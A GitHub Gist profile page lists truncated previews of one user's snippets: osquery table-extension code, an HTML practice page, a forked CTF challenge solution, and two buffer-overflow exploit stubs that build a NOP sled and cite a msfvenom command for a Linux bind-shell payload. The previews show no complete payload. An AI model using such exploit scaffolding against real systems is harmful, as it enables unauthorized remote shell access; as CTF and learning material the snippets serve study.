Skip to content

Instantly share code, notes, and snippets.

View DeadlyHollows's full-sized avatar

Shivam Bathla DeadlyHollows

View GitHub Profile
/**
* Copyright (c) 2014-present, The osquery authors
*
* This source code is licensed as defined by the LICENSE file found in the
* root directory of this source tree.
*
* SPDX-License-Identifier: (Apache-2.0 OR GPL-2.0-only)
*/
#include <osquery/tests/integration/tables/helper.h>
/**
* Copyright (c) 2014-present, The osquery authors
*
* This source code is licensed as defined by the LICENSE file found in the
* root directory of this source tree.
*
* SPDX-License-Identifier: (Apache-2.0 OR GPL-2.0-only)
*/
#include <boost/algorithm/string.hpp>
# This .table file is called a "spec" and is written in Python
# This syntax (several definitions) is defined in /tools/codegen/gentable.py.
table_name("read_file")
# Provide a short "one line" description, please use punctuation!
description("Returns the contents of the file to be read.")
# Define your schema, which accepts a list of Column instances at minimum.
# You may also describe foreign keys and "action" columns.
schema([
// Note 1: Include the SDK and helpers
#include <osquery/core/system.h>
#include <osquery/sdk/sdk.h>
#include <osquery/sql/dynamic_table_row.h>
#include <osquery/filesystem/filesystem.h>
#include <boost/algorithm/string.hpp>
import osquery
import json
@osquery.register_plugin
class ReadFileExtTablePlugin(osquery.TablePlugin):
def name(self):
return "read_file_ext"
@DeadlyHollows
DeadlyHollows / learning_html.html
Created June 21, 2021 17:05
Learn HTML by typing stuff and seeing the results immediately :)
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CYS: Learning HTML!</title>
</head>
<body>
<div style="font-weight: bold; margin: 1rem auto;">Input HTML:</div>
<textarea id="input_html" rows="10" cols="100%"><h1>Hello students :)</h1></textarea>
@DeadlyHollows
DeadlyHollows / index.html
Created May 31, 2021 14:44 — forked from lbherrera/index.html
Solution for the MessageKeeper challenge from Pwn2Win 2021
<!DOCTYPE html>
<html>
<head>
<title>Pwn2Win | MessageKeeper</title>
</head>
<body>
<script>
let alphabet = "0123456789abcdef";
const sleep = (ms) => {
#!/usr/bin/python2.7
# A bunch of nops
nopsled = '\x90' * (1062 - 232) # Buffer size - Payload size
# Payload of 232 bytes
# Generated using msfvenom
# msfvenom -p linux/x86/shell_bind_tcp AppendExit=true -e x86/alpha_mixed -f python
#!/usr/bin/python2.7
# A bunch of nops
nopsled = '\x90' * (1062 - 232) # Buffer size - Payload size
# Payload of 232 bytes
# Generated using msfvenom
# msfvenom -p linux/x86/shell_bind_tcp AppendExit=true -e x86/alpha_mixed -f python
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
struct my_msgbuf {
long mtype;